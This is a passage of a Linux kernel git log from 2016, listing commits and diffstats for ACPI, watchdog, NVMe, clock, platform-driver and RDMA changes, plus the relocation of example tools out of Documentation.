deletions(-) commit 7a0b71dc80f2b829c8587267d188712f614a4727 Author: Lv Zheng Date: Fri Sep 23 11:26:43 2016 +0800 ACPICA: Parser: Fix a regression in LoadTable support ACPICA commit a78506e0ce8ab1d20db2a055d99cf9143e89eb29 LoadTable allows an alternative RootPathString than the default "\", while the new table execution support fails to keep this logic. This regression can be detected by ASLTS - TLT0.tst4, this patch fixes this regression. Linux upstream is not affected by this regression as we haven't enabled the new table execution support there. BZ 1326, Lv Zheng. Link: https://github.com/acpica/acpica/commit/a78506e0 Link: https://bugs.acpica.org/show_bug.cgi?id=1326 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/psxface.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 9febcdc071aaec30d8dee4a21d91f6c7e9c62503 Author: Lv Zheng Date: Fri Sep 23 11:26:35 2016 +0800 ACPICA: Tables: Fix "UNLOAD" code path lock issues ACPICA commit 39227380f5b99c51b897a3ffedd88508aa26789b The previous lock fixes didn't cover "Unload" opcode and table unload APIs, this patch fixes lock issues in the "Unload" code path. BZ 1325, Lv Zheng. Link: https://github.com/acpica/acpica/commit/39227380 Link: https://bugs.acpica.org/show_bug.cgi?id=1325 Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/exconfig.c | 23 +++++++++++++++++++---- drivers/acpi/acpica/tbdata.c | 7 +------ drivers/acpi/acpica/tbxfload.c | 9 ++++++--- 3 files changed, 26 insertions(+), 13 deletions(-) commit 058dfc7670086edda8d34f0dbe93c596db5d4a6b Author: Mika Westerberg Date: Tue Sep 20 15:30:51 2016 +0300 ACPI / watchdog: Add support for WDAT hardware watchdog Starting from Intel Skylake the iTCO watchdog timer registers were moved to reside in the same register space with SMBus host controller. Not all needed registers are available though and we need to unhide P2SB (Primary to Sideband) device briefly to be able to read status of required NO_REBOOT bit. The i2c-i801.c SMBus driver used to handle this and creation of the iTCO watchdog platform device. Windows, on the other hand, does not use the iTCO watchdog hardware directly even if it is available. Instead it relies on ACPI Watchdog Action Table (WDAT) table to describe the watchdog hardware to the OS. This table contains necessary information about the the hardware and also set of actions which are executed by a driver as needed. This patch implements a new watchdog driver that takes advantage of the ACPI WDAT table. We split the functionality into two parts: first part enumerates the WDAT table and if found, populates resources and creates platform device for the actual driver. The second part is the driver itself. The reason for the split is that this way we can make the driver itself to be a module and loaded automatically if the WDAT table is found. Otherwise the module is not loaded. Signed-off-by: Mika Westerberg Reviewed-by: Guenter Roeck Signed-off-by: Rafael J. Wysocki drivers/acpi/Kconfig | 3 + drivers/acpi/Makefile | 1 + drivers/acpi/acpi_watchdog.c | 123 ++++++++++ drivers/acpi/internal.h | 10 + drivers/acpi/scan.c | 1 + drivers/watchdog/Kconfig | 13 ++ drivers/watchdog/Makefile | 1 + drivers/watchdog/wdat_wdt.c | 525 +++++++++++++++++++++++++++++++++++++++++++ include/linux/acpi.h | 6 + 9 files changed, 683 insertions(+) commit b5643539b82559b858b8efe3fc8343f66cf9a0b5 Author: Oleksij Rempel Date: Mon Sep 12 17:48:17 2016 +0200 platform/x86: asus-wmi: Filter buggy scan codes on ASUS Q500A Some revisions of the ASUS Q500A series have a keyboard related issue which is reproducible only after Windows with installed ASUS tools is started. In this case the Linux side will have a blocked keyboard or report incorrect or incomplete hotkey events. To make Linux work properly again, a complete power down (unplug power supply and remove battery) is needed. Linux/atkbd after a clean start will get the following code on VOLUME_UP key: {0xe0, 0x30, 0xe0, 0xb0}. After Windows, the same key will generate this codes: {0xe1, 0x23, 0xe0, 0x30, 0xe0, 0xb0}. As result atkdb will be confused by buggy codes. This patch is filtering this buggy code out. https://bugzilla.kernel.org/show_bug.cgi?id=119391 Signed-off-by: Oleksij Rempel Cc: Alex Henrie Cc: Dmitry Torokhov Cc: Corentin Chary Cc: acpi4asus-user@lists.sourceforge.net Cc: platform-driver-x86@vger.kernel.org Cc: linux-kernel@vger.kernel.org [dvhart: Add return after pr_warn to avoid false confirmation of filter] Signed-off-by: Darren Hart drivers/platform/x86/asus-nb-wmi.c | 45 ++++++++++++++++++++++++++++++++++++++ drivers/platform/x86/asus-wmi.h | 4 ++++ 2 files changed, 49 insertions(+) commit eefdee07074db61764408583a23e96cf60d5a0a7 Author: Ulf Hansson Date: Wed Sep 21 15:38:53 2016 +0200 PM / Domains: Rename pm_genpd_sync_poweron|poweroff() These are internal static functions to genpd. Let's conform to the naming rules, by dropping the "pm_" prefix from these. Signed-off-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) commit adb560b3ee395ac9688a93582d805edec4c3d3e7 Author: Ulf Hansson Date: Wed Sep 21 15:38:52 2016 +0200 PM / Domains: Don't measure latency of ->power_on|off() during system PM Measure latency does by itself contribute to an increased latency, thus we should avoid it when it isn't needed. Currently genpd measures latencies in the system PM phase for the ->power_on|off() callbacks, except in the syscore case when it's not allowed to use ktime_get() as timekeeping may be suspended. Since there should be plenty of occasions during runtime PM to perform these measurements, let's rely on that and drop them from system PM. This will also make it consistent for how measurements are done of the runtime PM callbacks (as those may be invoked during system PM). Signed-off-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 26 +++++++++++--------------- 1 file changed, 11 insertions(+), 15 deletions(-) commit 294f47ffd55c3710c6f8ca1122e0424f045a099c Author: Ulf Hansson Date: Wed Sep 21 15:38:51 2016 +0200 PM / Domains: Remove redundant system PM callbacks In cases when the PM domain haven't assigned a system PM callback, the PM core fall-backs to check for the callback at the driver level instead. This makes it redundant to assign a pm_generic_* helper function to a corresponding system PM callback at a PM domain level. Therefore, let's remove these assignments in pm_genpd_init(). Signed-off-by: Ulf Hansson Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 12 ------------ 1 file changed, 12 deletions(-) commit 85168d56cc8603963cfdda1e2b9e8f9b68aef867 Author: Ulf Hansson Date: Wed Sep 21 15:38:50 2016 +0200 PM / Domains: Simplify detaching a device from its genpd There's no need to validate the PM domain by using genpd_lookup_dev() when removing the device via genpd's genpd_dev_pm_detach() function. That's because this function can't be called, unless there is a valid PM domain for the device. To simplify the behaviour, let's move code from pm_genpd_remove_device() into a new internal function, genpd_remove_device(), which is called from pm_genpd_remove_device() and genpd_dev_pm_detach(). Signed-off-by: Ulf Hansson Reviewed-by: Lina Iyer Signed-off-by: Rafael J. Wysocki drivers/base/power/domain.c | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) commit 28e476d7438eedd3ecc7b5ebe6f2a3dfd21ca10e Author: Azael Avalos Date: Wed Sep 7 09:28:15 2016 -0600 platform/x86: toshiba_bluetooth: Decouple an error checking status code This patch simply decouples the error checking of the ACPI status and the actual BT status, as those two were nested in an if/else check, but are completely unrelated. Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba_bluetooth.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit baae5f91577ac6416b03c3d95815f52e1e244f3b Author: Azael Avalos Date: Wed Sep 7 09:28:14 2016 -0600 platform/x86: toshiba_haps: Change logging level from info to debug Two of the internal functions are printing an info message, one whenever the HDD protection level changes, and another when the driver receives an ACPI event. This patch changes those two prints to debug, as that information is more pertaining to debuging purposes. Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba_haps.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 55455449982564da833d51b28bdd39a06ad28740 Author: Azael Avalos Date: Wed Sep 7 09:28:13 2016 -0600 platform/x86: toshiba_haps: Split ACPI and HDD protection error handling Currently the code checking for the ACPI status is mixed along with the actual HDD protection status check. This patch splits those two checks as they are not related, printing an error string in case the ACPI call failed, and then check for actual HDD protection status. Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba_haps.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 6f7e357bf181b5a9da9daffcd40a64ee516a29e4 Author: Giedrius Statkevičius Date: Fri Aug 5 23:57:10 2016 +0300 platform/x86: asus-laptop: get rid of parse_arg() parse_arg() duplicates the funcionality of kstrtoint() so use the latter function instead. There is no funcionality change except that in the case of input being too big -ERANGE will be returned instead of -EINVAL which is not bad because -ERANGE makes more sense here. The check for !count is already done by the sysfs core so no need to duplicate it again. Also, add some minor corrections to error handling to accommodate the change in return values (parse_arg returned count if everything succeeded whereas kstrtoint returns 0 in the same situation) As a result of this patch asus-laptop.ko size is reduced by almost 1%: add/remove: 0/1 grow/shrink: 1/6 up/down: 1/-149 (-148) function old new delta __UNIQUE_ID_vermagic0 69 70 +1 ls_switch_store 133 117 -16 ledd_store 175 159 -16 display_store 157 141 -16 ls_level_store 193 176 -17 gps_store 200 178 -22 sysfs_acpi_set.isra 148 125 -23 parse_arg.part 39 - -39 Total: Before=19160, After=19012, chg -0.77% Signed-off-by: Giedrius Statkevičius Signed-off-by: Darren Hart drivers/platform/x86/asus-laptop.c | 77 ++++++++++++++++++-------------------- 1 file changed, 36 insertions(+), 41 deletions(-) commit 999d4376c62828b260fbb59d5ab6bc28918ca448 Author: zino lin Date: Sun Aug 28 16:12:06 2016 +0800 platform/x86: asus-wmi: fix asus ux303ub brightness issue acpi_video0 doesn't work, asus-wmi brightness interface doesn't work, too. So, we use native brightness interface to handle the brightness adjustion, and add quirk_asus_ux303ub. Signed-off-by: zino lin Acked-by: Corentin Chary Signed-off-by: Darren Hart drivers/platform/x86/asus-nb-wmi.c | 13 +++++++++++++ drivers/platform/x86/asus-wmi.c | 3 +++ drivers/platform/x86/asus-wmi.h | 1 + 3 files changed, 17 insertions(+) commit 2e5d0baa04845dc3a3d7dfa33d7663de270bb146 Author: Alexander Solganik Date: Wed Sep 21 14:12:38 2016 -0700 nvmet: Make dsm number of ranges zero based This caused the nvmet request data length to be incorrect. Signed-off-by: Alexander Solganik Signed-off-by: Sagi Grimberg Reviewed-by: Christoph Hellwig drivers/nvme/target/io-cmd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9b349b080ca9777f6dab3da06d7fa4577f7d4c29 Author: Sagi Grimberg Date: Wed Sep 21 11:06:32 2016 -0700 nvmet: Use direct IO for writes We're designed to work with high-end devices where direct IO makes perfect sense. We noticed that we context switch by scheduling kblockd instead of going directly to the device without REQ_SYNC for writes. Signed-off-by: Sagi Grimberg Reviewed-by: Jens Axboe drivers/nvme/target/io-cmd.c | 1 + 1 file changed, 1 insertion(+) commit 2d79c7dc8fe5cf1158250a5fd25c02d781324cd3 Author: Chaitanya Kulkarni Date: Thu Sep 1 20:45:03 2016 +0100 admin-cmd: Added smart-log command support. This patch implements the support for smart-log command (NVM Express 1.2.1-section 5.10.1.2 SMART / Health Information (Log Identifier 02h)) on the target for NVMe over Fabric. In current implementation host can retrieve following statistics:- 1. Data Units Read. 2. Data Units Written. 3. Host Read Commands. 4. Host Write Commands. Signed-off-by: Chaitanya Kulkarni Signed-off-by: Sagi Grimberg drivers/nvme/target/admin-cmd.c | 88 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 88 insertions(+) commit 478bcb9388f2c3eedba34ed5811793400047f95d Author: James Smart Date: Tue Aug 2 10:42:10 2016 +0300 nvme-fabrics: Add host_traddr options field to host infrastructure Add the host_traddr field to allow specification of the host-port connection info for the transport. Will be used by FC transport. Signed-off-by: James Smart Acked-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Sagi Grimberg drivers/nvme/host/fabrics.c | 13 +++++++++++++ drivers/nvme/host/fabrics.h | 4 ++++ 2 files changed, 17 insertions(+) commit 4a9f05c57f98e794763650056731a0023ebfab5f Author: James Smart Date: Tue Aug 2 10:41:20 2016 +0300 nvme-fabrics: revise host transport option descriptions Revise some of the comments so not so ethernet-network centric Signed-off-by: James Smart Acked-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Sagi Grimberg drivers/nvme/host/fabrics.h | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 0fe51ff269da745078e0ab2b90dfdf2a58d6f3e7 Author: James Smart Date: Tue Aug 2 10:40:01 2016 +0300 nvme-fabrics: rework nvmf_get_address() for variable options Revise nvmf_get_address() string to account for not all options being present. Signed-off-by: James Smart Acked-by: Johannes Thumshirn Reviewed-by: Christoph Hellwig Signed-off-by: Sagi Grimberg drivers/nvme/host/fabrics.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit b4626a7f489238a59f08f0b216e883bac07260d7 Author: Yang Ling Date: Tue Sep 20 23:54:56 2016 +0800 CLK: Add Loongson1C clock support This patch adds clock support to Loongson1C SoC. Signed-off-by: Yang Ling Acked-by: Keguang Zhang Signed-off-by: Stephen Boyd drivers/clk/loongson1/Makefile | 1 + drivers/clk/loongson1/clk-loongson1c.c | 97 ++++++++++++++++++++++++++++++++++ 2 files changed, 98 insertions(+) commit f0ffaf187addb5dcab76885fff9314b716fc8072 Author: Kelvin Cheung Date: Mon Sep 19 12:38:56 2016 +0800 clk: Loongson1: Make use of GENMASK Make use of GENMASK instead of open coding the equivalent operation, and update the PLL formula. Signed-off-by: Kelvin Cheung Signed-off-by: Stephen Boyd drivers/clk/loongson1/clk-loongson1b.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c99c7a9ac6756964b0ffa508b9b4f55b5be7d12b Author: Kelvin Cheung Date: Mon Sep 19 12:38:55 2016 +0800 clk: Loongson1: Update clocks of Loongson1B This patch updates some clock names of Loongson1B, and adds AC97, DMA and NAND clock. Signed-off-by: Kelvin Cheung Signed-off-by: Stephen Boyd drivers/clk/loongson1/clk-loongson1b.c | 23 +++++++++++++---------- 1 file changed, 13 insertions(+), 10 deletions(-) commit a8e3ced421c1cd24221543a2bfda3134d46a6f21 Author: Kelvin Cheung Date: Mon Sep 19 12:38:54 2016 +0800 clk: Loongson1: Refactor Loongson1 clock Factor out the common functions into loongson1/clk.c to support both Loongson1B and Loongson1C. And, put the rest into loongson1/clk-loongson1b.c. Signed-off-by: Kelvin Cheung Signed-off-by: Stephen Boyd drivers/clk/Makefile | 2 +- drivers/clk/clk-ls1x.c | 162 --------------------------------- drivers/clk/loongson1/Makefile | 2 + drivers/clk/loongson1/clk-loongson1b.c | 119 ++++++++++++++++++++++++ drivers/clk/loongson1/clk.c | 43 +++++++++ drivers/clk/loongson1/clk.h | 19 ++++ 6 files changed, 184 insertions(+), 163 deletions(-) commit 5963f19ca2b7e46cafc9647c8390bb20563b91cc Author: Masahiro Yamada Date: Fri Sep 23 21:29:36 2016 +0900 clk: change the type of clk_hw_onecell_data.num to unsigned int The "num" is the number of clk_hw entries in the structure, so "unsigned int" would be a better fit. (size_t looks like data size we count by byte.) Besides, struct clk_onecell_data already uses unsigned int for "clk_num". Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd include/linux/clk-provider.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c72f2883c31e8c21832f3d48d5aa6ee8d83b3c43 Author: Shawn Guo Date: Fri Sep 23 09:45:08 2016 +0800 clk: zx296718: register driver earlier with core_initcall Clock driver should be registered with an earlier initcall than module_init which is used by most of client device drivers. Otherwise, probing of these client drivers will likely be deferred due to that calls into clk API will return -EPROBE_DEFER. Deferred probing is not a problem for most subsystems, but could bring some side effect for particular subsystem, like display. On ZX296718 platform, we get Linux logo and boot log lost from display device, just because the DRM/KMS driver gets -EPROBE_DEFER from devm_clk_get() call. Let's use core_initcall (qcom and a few other clk drivers use that) for driver registration to avoid those unnecessary -EPROBE_DEFER and get rid of the side effect with ZX296718 display system. Signed-off-by: Shawn Guo Signed-off-by: Stephen Boyd drivers/clk/zte/clk-zx296718.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit bfb1f46f69060642d54125cb777c817f3f9436e3 Author: Geert Uytterhoeven Date: Sun Sep 11 10:59:57 2016 +0200 watchdog: txx9wdt: Add missing clock (un)prepare calls for CCF While the custom minimal TXx9 clock implementation doesn't need or use clock (un)prepare calls (they are dummies if !CONFIG_HAVE_CLK_PREPARE), they are mandatory when using the Common Clock Framework. Hence add them, to prepare for the advent of CCF. Signed-off-by: Geert Uytterhoeven Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/txx9wdt.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 619db74a2ba076d33097f49b17c93369666ac6f5 Author: Markus Elfring Date: Mon Aug 15 13:34:47 2016 +0200 watchdog-asm9260: Delete owner assignment The field "owner" is set by core. Thus delete an extra initialisation. Generated by: scripts/coccinelle/api/platform_no_drv_owner.cocci Signed-off-by: Markus Elfring Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/asm9260_wdt.c | 1 - 1 file changed, 1 deletion(-) commit 217209db0204ae1fa5f30af804525863e852c35d Author: Enric Balletbo i Serra Date: Wed Aug 10 18:18:03 2016 +0200 watchdog: ziirave_wdt: Add support to upload the firmware. This patch adds and entry to the sysfs to start firmware upload process on the specified device with the requested firmware. The uploading of the firmware needs only to happen once per firmware upgrade, as the firmware is stored in persistent storage. If the firmware upload or the firmware verification fails then we print and error message and exit. Signed-off-by: Enric Balletbo i Serra Reviewed-by: Guenter Roeck Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck drivers/watchdog/ziirave_wdt.c | 409 ++++++++++++++++++++++++++++++++++++++++- 1 file changed, 404 insertions(+), 5 deletions(-) commit 9d6b4efc16b3e8e7414fcd6aab8fec42756ba920 Author: Shubhrajyoti Datta Date: Fri Aug 12 12:17:01 2016 +0530 watchdog: xilinx: Add clock support Add support for the clock. Currently we enable at probe and relinquish at remove. Reviewed-by: Guenter Roeck Acked-by: Sören Brinkmann Signed-off-by: Shubhrajyoti Datta Acked-by: Rob Herring Signed-off-by: Guenter Roeck Signed-off-by: Wim Van Sebroeck .../devicetree/bindings/watchdog/of-xilinx-wdt.txt | 3 +++ drivers/watchdog/of_xilinx_wdt.c | 25 ++++++++++++++++++++-- 2 files changed, 26 insertions(+), 2 deletions(-) commit a67cd5482f37a255b9990ddb942aa7009dcba12f Author: Shuah Khan Date: Wed Sep 21 16:54:36 2016 -0600 tools: move pcmcia crc32hash tool from Documentation Move pcmcia crc32hash tool from Documentation to tools/pcmcia and remove it from Documentation Makefile. Update location information for this tool. Create a new Makefile to build pcmcia. It can be built from top level directory or from pcmcia directory: Run make -C tools/pcmcia or cd tools/pcmcia; make Acked-by: Dominik Brodowski Acked-by: Greg Kroah-Hartman Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 3 +-- Documentation/pcmcia/.gitignore | 1 - Documentation/pcmcia/Makefile | 7 ------- Documentation/pcmcia/crc32hash.c | 32 -------------------------------- Documentation/pcmcia/devicetable.txt | 4 ++-- MAINTAINERS | 1 + tools/pcmcia/.gitignore | 1 + tools/pcmcia/Makefile | 9 +++++++++ tools/pcmcia/crc32hash.c | 32 ++++++++++++++++++++++++++++++++ 9 files changed, 46 insertions(+), 44 deletions(-) commit 3ca9760fdfa411f7e5db54b3437fbb858d2ec825 Author: Shuah Khan Date: Wed Sep 21 16:34:55 2016 -0600 tools: move laptops dslm tool from Documentation Move laptops dslm tool to tools/laptop/dslm and remove it from Documentation Makefile. Update location information for this tool. Create a new Makefile to build dslm. It can be built from top level directory or from laptops directory: Run make -C tools/laptop/dslm or cd tools/laptop/dslm; make Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/laptops/.gitignore | 1 - Documentation/laptops/00-INDEX | 4 - Documentation/laptops/Makefile | 5 - Documentation/laptops/dslm.c | 166 ---------------------------------- Documentation/laptops/laptop-mode.txt | 2 +- tools/laptop/dslm/.gitignore | 1 + tools/laptop/dslm/Makefile | 9 ++ tools/laptop/dslm/dslm.c | 166 ++++++++++++++++++++++++++++++++++ 9 files changed, 178 insertions(+), 178 deletions(-) commit d522b2cdfed853e372d6b64a89d070368f0718f7 Author: Shuah Khan Date: Wed Sep 21 16:19:35 2016 -0600 tools: move accounting tool from Documentation Move accounting tool to tools and remove it from Documentation Makefile. Update location information for this tool. Create a new Makefile to build accounting. It can be built from top level directory or from accounting directory: Run make -C tools/accounting or cd tools/accounting; make Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/accounting/.gitignore | 1 - Documentation/accounting/Makefile | 7 - Documentation/accounting/delay-accounting.txt | 6 +- Documentation/accounting/getdelays.c | 550 -------------------------- tools/accounting/.gitignore | 1 + tools/accounting/Makefile | 9 + tools/accounting/getdelays.c | 550 ++++++++++++++++++++++++++ 8 files changed, 564 insertions(+), 562 deletions(-) commit 2ed6afdee798658fe3c33b50c4a79d1bde45f1d8 Author: Arnd Bergmann Date: Fri Sep 23 18:06:12 2016 +0200 netns: move {inc,dec}_net_namespaces into #ifdef With the newly enforced limit on the number of namespaces, we get a build warning if CONFIG_NETNS is disabled: net/core/net_namespace.c:273:13: error: 'dec_net_namespaces' defined but not used [-Werror=unused-function] net/core/net_namespace.c:268:24: error: 'inc_net_namespaces' defined but not used [-Werror=unused-function] This moves the two added functions inside the #ifdef that guards their callers. Fixes: 703286608a22 ("netns: Add a limit on the number of net namespaces") Signed-off-by: Arnd Bergmann Signed-off-by: Eric W. Biederman net/core/net_namespace.c | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) commit 8fc07ebe63a40c312730da28e54dbb4fc6029ca3 Author: Shuah Khan Date: Fri Sep 16 07:36:21 2016 -0600 samples: move auxdisplay example code from Documentation Move auxdisplay examples to samples and remove it from Documentation Makefile. Create a new Makefile to build auxdisplay. It can be built from top level directory or from auxdisplay directory: Run make -C samples/auxdisplay or cd samples/auxdisplay; make Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/auxdisplay/.gitignore | 1 - Documentation/auxdisplay/Makefile | 7 - Documentation/auxdisplay/cfag12864b | 2 +- Documentation/auxdisplay/cfag12864b-example.c | 281 -------------------------- samples/auxdisplay/.gitignore | 1 + samples/auxdisplay/Makefile | 9 + samples/auxdisplay/cfag12864b-example.c | 281 ++++++++++++++++++++++++++ 8 files changed, 293 insertions(+), 291 deletions(-) commit 071bf69a0220253a44acb8b2a27f7a262b9a46bf Author: Shuah Khan Date: Fri Sep 16 17:40:40 2016 -0600 samples: move watchdog example code from Documentation Move watchdog examples to samples and remove it from Documentation Makefile. Create a new Makefile to build watchdog. It can be built from top level directory or from watchdog directory: Run make -C samples/watchdog or cd samples/watchdog; make Acked-by: Jonathan Corbet Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/watchdog/Makefile | 1 - Documentation/watchdog/src/.gitignore | 1 - Documentation/watchdog/src/Makefile | 5 ----- Documentation/watchdog/src/watchdog-simple.c | 24 ------------------------ Documentation/watchdog/watchdog-api.txt | 2 +- Documentation/watchdog/wdt.txt | 2 +- samples/watchdog/.gitignore | 1 + samples/watchdog/Makefile | 8 ++++++++ samples/watchdog/watchdog-simple.c | 24 ++++++++++++++++++++++++ 10 files changed, 36 insertions(+), 34 deletions(-) commit 155fe001c6cd840c1cef3a8c42a8f14296a47c57 Author: Shuah Khan Date: Fri Sep 16 17:20:42 2016 -0600 samples: move timers example code from Documentation Move timers examples to samples and remove it from Documentation Makefile. Create a new Makefile to build timers. It can be built from top level directory or from timers directory: Run make -C samples/timers or cd samples/timers; make Acked-by: Jonathan Corbet Acked-by: Clemens Ladisch Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/timers/.gitignore | 1 - Documentation/timers/Makefile | 5 - Documentation/timers/hpet.txt | 2 +- Documentation/timers/hpet_example.c | 294 ------------------------------------ samples/timers/.gitignore | 1 + samples/timers/Makefile | 15 ++ samples/timers/hpet_example.c | 294 ++++++++++++++++++++++++++++++++++++ 8 files changed, 312 insertions(+), 302 deletions(-) commit 986b891ad121c61200d3dffcc8ed128a1397682e Author: Shuah Khan Date: Fri Sep 16 16:07:20 2016 -0600 samples: move misc-devices/mei example code from Documentation Move misc-devices/mei examples to samples/mei and remove it from Documentation Makefile. Delete misc-devices/Makefile. Create a new Makefile to build samples/mei. It can be built from top level directory or from mei directory: Run make -C samples/mei or cd samples/mei; make Acked-by: Jonathan Corbet Acked-by: Greg Kroah-Hartman Acked-by: Tomas Winkler Signed-off-by: Shuah Khan Documentation/Makefile | 2 +- Documentation/misc-devices/Makefile | 1 - Documentation/misc-devices/mei/.gitignore | 1 - Documentation/misc-devices/mei/Makefile | 5 - Documentation/misc-devices/mei/TODO | 2 - Documentation/misc-devices/mei/mei-amt-version.c | 479 ----------------------- MAINTAINERS | 1 + samples/mei/.gitignore | 1 + samples/mei/Makefile | 9 + samples/mei/TODO | 2 + samples/mei/mei-amt-version.c | 479 +++++++++++++++++++++++ 11 files changed, 493 insertions(+), 489 deletions(-) commit 5ef990f06bd7e3cf521b5705d898d8e43d04ea90 Author: Christoph Hellwig Date: Mon Sep 5 12:56:21 2016 +0200 IB/core: remove ib_get_dma_mr We now only use it from ib_alloc_pd to create a local DMA lkey if the device doesn't provide one, or a global rkey if the ULP requests it. This patch removes ib_get_dma_mr and open codes the functionality in ib_alloc_pd so that we can simplify the code and prevent abuse of the functionality. As a side effect we can also simplify things by removing the valid access bit check, and the PD refcounting. In the future I hope to also remove the per-PD global MR entirely by shifting this work into the HW drivers, as one step towards avoiding the struct ib_mr overload for various different use cases. Signed-off-by: Christoph Hellwig Reviewed-by: Sagi Grimberg Reviewed-by: Jason Gunthorpe Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/core/verbs.c | 34 ++++++++-------------------------- include/rdma/ib_verbs.h | 12 ------------ 2 files changed, 8 insertions(+), 38 deletions(-) commit 11975e0149002b88aa8003bfa6172f49e3351768 Author: Christoph Hellwig Date: Mon Sep 5 12:56:20 2016 +0200 nvme-rdma: use IB_PD_UNSAFE_GLOBAL_RKEY Signed-off-by: Christoph Hellwig Reviewed-by: Sagi Grimberg Reviewed-by: Jason Gunthorpe Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/nvme/host/rdma.c | 25 +++++-------------------- 1 file changed, 5 insertions(+), 20 deletions(-) commit 5f071777f9cbd71faa00eb854d15f42ae74e0471 Author: Christoph Hellwig Date: Mon Sep 5 12:56:19 2016 +0200 IB/srp: use IB_PD_UNSAFE_GLOBAL_RKEY Signed-off-by: Christoph Hellwig Reviewed-by: Max Gurtovoy Signed-off-by: Doug Ledford drivers/infiniband/ulp/srp/ib_srp.c | 44 ++++++++++++++++--------------------- drivers/infiniband/ulp/srp/ib_srp.h | 3 +-- 2 files changed, 20 insertions(+), 27 deletions(-) commit 8e61212d05963a3beecb8bf124b88a0b13a9600d Author: Christoph Hellwig Date: Mon Sep 5 12:56:18 2016 +0200 IB/iser: use IB_PD_UNSAFE_GLOBAL_RKEY Signed-off-by: Christoph Hellwig Reviewed-by: Sagi Grimberg Reviewed-by: Jason Gunthorpe Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/ulp/iser/iscsi_iser.h | 1 - drivers/infiniband/ulp/iser/iser_memory.c | 6 +++++- drivers/infiniband/ulp/iser/iser_verbs.c | 22 +++------------------- 3 files changed, 8 insertions(+), 21 deletions(-) commit ed082d36a7b2c27d1cda55fdfb28af18040c4a89 Author: Christoph Hellwig Date: Mon Sep 5 12:56:17 2016 +0200 IB/core: add support to create a unsafe global rkey to ib_create_pd Instead of exposing ib_get_dma_mr to ULPs and letting them use it more or less unchecked, this moves the capability of creating a global rkey into the RDMA core, where it can be easily audited. It also prints a warning everytime this feature is used as well. Signed-off-by: Christoph Hellwig Reviewed-by: Sagi Grimberg Reviewed-by: Jason Gunthorpe Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/core/mad.c | 2 +- drivers/infiniband/core/verbs.c | 27 ++++++++++++++++++---- drivers/infiniband/hw/mlx4/mad.c | 2 +- drivers/infiniband/hw/mlx4/main.c | 2 +- drivers/infiniband/hw/mlx5/main.c | 2 +- drivers/infiniband/ulp/ipoib/ipoib_verbs.c | 2 +- drivers/infiniband/ulp/iser/iser_verbs.c | 2 +- drivers/infiniband/ulp/isert/ib_isert.c | 2 +- drivers/infiniband/ulp/srp/ib_srp.c | 2 +- drivers/infiniband/ulp/srpt/ib_srpt.c | 2 +- drivers/nvme/host/rdma.c | 2 +- drivers/nvme/target/rdma.c | 2 +- .../staging/lustre/lnet/klnds/o2iblnd/o2iblnd.c | 2 +- include/rdma/ib_verbs.h | 20 +++++++++++++++- net/9p/trans_rdma.c | 2 +- net/rds/ib.c | 2 +- net/sunrpc/xprtrdma/svc_rdma_transport.c | 2 +- net/sunrpc/xprtrdma/verbs.c | 2 +- 18 files changed, 57 insertions(+), 22 deletions(-) commit 50d46335b03baa9767e79a6f4757df7bd31eba21 Author: Christoph Hellwig Date: Mon Sep 5 12:56:16 2016 +0200 IB/core: rename pd->local_mr to pd->__internal_mr This has two reasons: a) to clearly mark that drivers don't have any business using it, and b) because we're going to use it for the (dangerous) global rkey soon, so that drivers don't create on themselves. Signed-off-by: Christoph Hellwig Reviewed-by: Sagi Grimberg Reviewed-by: Jason Gunthorpe Reviewed-by: Steve Wise Signed-off-by: Doug Ledford drivers/infiniband/core/uverbs_cmd.c | 2 +- drivers/infiniband/core/verbs.c | 12 ++++++------ include/rdma/ib_verbs.h | 6 +++++- 3 files changed, 12 insertions(+), 8 deletions(-) commit 